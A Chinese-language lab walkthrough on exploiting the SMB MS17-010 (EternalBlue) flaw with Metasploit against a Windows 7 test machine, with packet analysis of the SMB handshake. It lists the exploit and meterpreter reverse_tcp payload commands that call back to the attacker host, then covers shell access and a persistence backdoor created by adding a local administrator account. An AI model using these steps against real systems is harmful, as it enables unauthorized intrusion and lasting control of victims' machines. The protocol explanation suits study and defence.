SMB MS17-010 利用(CVE-2017-0144 永恆之藍 )

一、基礎知識介紹:

1.何爲永恆之藍?

        永恆之藍(Eternal Blue)爆發於2017年4月14日晚,是一種利用Windows系統的SMB協議漏洞來獲取系統的最高權限,以此來控制被入侵的計算機。甚至於2017年5月12日, 不法分子通過改造“永恆之藍”製作了wannacry勒索病毒,使全世界大範圍內遭受了該勒索病毒,甚至波及到學校、大型企業、政府等機構,只能通過支付高額的贖金才能恢復出文件。不過在該病毒出來不久就被微軟通過打補丁修復。

2.什麼是SMB協議?

        SMB(全稱是Server Message Block)是一個協議服務器信息塊,它是一種客戶機/服務器、請求/響應協議,通過SMB協議可以在計算機間共享文件、打印機、命名管道等資源,電腦上的網上鄰居就是靠SMB實現的;SMB協議工作在應用層和會話層,可以用在TCP/IP協議之上,SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什麼?

     (1):首先客戶端發送一個SMB negport 請求數據報,,並列出它所支持的所有SMB的協議版本。服務器收到請求消息後響應請求,並列出希望使用的SMB協議版本。如果沒有可以使用的協議版本則返回0XFFFFH,結束通信。

     (2):協議確定後,客戶端進程向服務器發起一個用戶或共享的認證,這個過程是通過發送SessetupX請求數據包實現的。客戶端發送一對用戶名和密碼或一個簡單密碼到服務器,然後通過服務器發送一個SessetupX應答數據包來允許或拒絕本次連接。

      (3):當客戶端和服務器完成了磋商和認證之後,它會發送一個Tcon或TconX SMB數據報並列出它想訪問的網絡資源的名稱,之後會發送一個TconX應答數據報以表示此次連接是否接收或拒絕。

      (4):連接到相應資源後,SMB客戶端就能夠通過open SMB打開一個文件,通過read SMB讀取文件,通過write SMB寫入文件,通過close SMB關閉文件。

二、實驗環境:

1.使用kali 和windows 7旗艦版(kali作爲攻擊主機,windows 7旗艦版作爲靶機),使用wireshark進行抓包

在被攻擊機Win 7中開啓SMB1,HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/LanmanServer/Parameters,新建一個DWORD,並將其命名爲SMB1,修改它的值爲1

2.設置kali 的IP地址爲自動獲取,查看kali  IP地址:ifconfig

 可以看到kali 的IP地址是192.168.223.137

3.設置windows 7的IP地址爲自動獲取,查看windows 7的IP地址:ipconfig

可以看見windows 7 的IP地址爲192.168.223.141

三、實驗步驟:

Metasploit裏已經集成了該漏洞利用腳本,可能使用之前需要更新一下。

root@kali:~# apt update; apt install metasploit-framework

1.測試兩臺主機的連通性:用kali 去Ping windows 7的主機,來測試連通性:ping  192.168.223.141

可以看見兩臺主機連通性良好

 2.查看kali 主機數據庫是否開啓:service postgresql status

由上圖可以看出:Active:inactive (dead)說明數據庫此時是關閉的;

3.打開kali 主機的數據庫: service postgresql start

4.再次查看kali 主機的數據庫:service postgresql status

由上圖可以看出:Active:active (exited)說明此時數據庫已經打開

5.進行msfdb 數據庫初始化,配置數據庫相關信息:msfdb init

        此時就可以進行永恆之藍漏洞掃描,(永恆之藍利用的是ms17_010漏洞,因此到這一步之後的任務就是在kali 裏尋找ms17_010漏洞,並且利用該漏洞進行攻擊,獲得windows 7 的管理員權限)

6.啓動msf:msfconsole

這樣就成功進入了msf中,如果你的界面與該界面不同,不必詫異,msf每次都會有一個隨機的界面

7.查看數據庫連接情況:在msf命令提示符下:db_status(下面的msf命令提示符也說明了已經進入了msf中)

postgresql connected to msf 說明已經成功連接到了msf

8.搜索ms17_010:search ms17_010

       小提示:如果第一次輸入search ms17_010時並沒有出現如上圖所示的界面,那麼再次輸入search ms17_010(本人當時就是輸入了兩遍纔出來如圖所示界面,所以多嘗試幾次)如果多次還是沒有發現上述界面,那麼有可能是kali 版本太低,沒有ms17_010漏洞,所以建議安裝更新版本的kali

9.使用ms17_010模塊進行漏洞掃描,在此我使用的是下面兩條命令(其他的命令也可以進行ms17_010漏洞掃描,但是能否獲得系統權限就不得而知了,有興趣可以進行實驗)

掃描命令:use auxiliary/scanner/smb/smb_ms17_010

攻擊命令(後面使用):use exploit/windows/smb/ms17_010_eternalblue

10.此時如果不知道應該使用什麼命令,則輸入options來獲得幫助

        在此,只關注兩個命令:RHOSTS和THREADS,RHOSTS是要掃描的主機(主機段),THREADS是線程,默認是1,開始使用線程加快掃描

11.設置掃描的主機或者主機段(由於靶機IP地址是192.168.223.141,因此設置掃描主機段爲192.168.223.141/24):set rhosts 192.168.223.141/24;然後設置掃描線程爲20;最後輸入run執行掃描。與此同時,在kali裏面打開wireshark抓包工具(新建一個終端,輸入wireshark即可),監聽ethO

 由上圖可以看出,掃描出來存在ms17_010漏洞的主機,也恰好是我的靶機

通過跟蹤TCP流,得到了靶機的基本信息:操作系統是windows 7,IP地址是192.168.223.141,協議爲SMB2

12.進行攻擊:use exploit/windows/smb/ms17_010_eternalblue

設置攻擊目標(靶機):set rhost 192.168.223.141

設置攻擊載荷:set payload windows/x64/meterpreter/reverse_tcp

設置監聽主機(kali):set lhost 192.168.223.137

利用exploit進行攻擊:exploit

攻擊之後如下圖所示:

        可以看到監聽(kali)IP(192.168.223.137)及端口(4444),被攻擊主機(192.168.223.141)及端口(49159)之間已經建立了連接

四、持續攻擊(種植後門)

1.顯示遠程主機系統信息:sysinfo

2.查看用戶身份:getuid

3.對遠程主機當前屏幕進行截圖:screenshot

打開截圖所在位置:

4.獲得shell控制檯:shell

上面顯示轉到C:\Windows\system32目錄下,說明已經獲得了shell的控制權。

5.進行後門植入(創建新的管理員賬戶)

      net user hack 123456 /add        //在windows 7上創建一個hack的用戶,以便下次訪問

      net localgroup administrators hack /add     //將hack加入到windows 7的本地管理員組中,以便獲得更大權限

      net user        //查看windows 7本地用戶

      net localgroup administrators       //查看windows 7本地管理員

 由上圖可以看出來,的確將hack添加到windows 7 中,這樣可以方便下次繼續訪問

 

五、抓包分析

1、首先客戶端發送一個SMB Negotiate Protocol Request請求數據報,並列出它所支持的所有SMB協議版本。(正常共享的話,客戶端會列出好幾個它支持的版本,如果是攻擊的話,會故意拉低版本,版本越低,安全性越差)

2、服務器收到請求信息後響應請求,並列出希望使用的協議版本。如果沒有可使用的協議版本則返回0XFFFFH,結束通信。

3、協議確定後,客戶端進程向服務器發起一個用戶或共享的認證,這個過程是通過發送Session Setup AndX請求數據報實現的。客戶端發送一對用戶名和密碼或一個簡單密碼到服務器。

4、服務器通過發送一個Session Setup AndX應答數據報來允許或拒絕本次連接。

5、當客戶端和服務器完成了磋商和認證之後,它會發送一個Tree Connect AndX或TconX SMB數據報並列出它想訪問網絡資源的名稱

6、之後服務器會發送一個Tree Connect AndX應答數據報以表示此次連接是否被接受或拒絕。

7、連接到相應資源後,SMB客戶端就能夠通過open SMB打開一個文件,通過read SMB讀取文件,通過write SMB寫入文件,通過close SMB關閉文件。
 

        自此,利用永恆之藍漏洞攻擊一臺主機就結束了,現在只有一些低版本的電腦沒有打ms17_010的補丁,windows7 以上版本幾乎都沒有這個漏洞了。
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章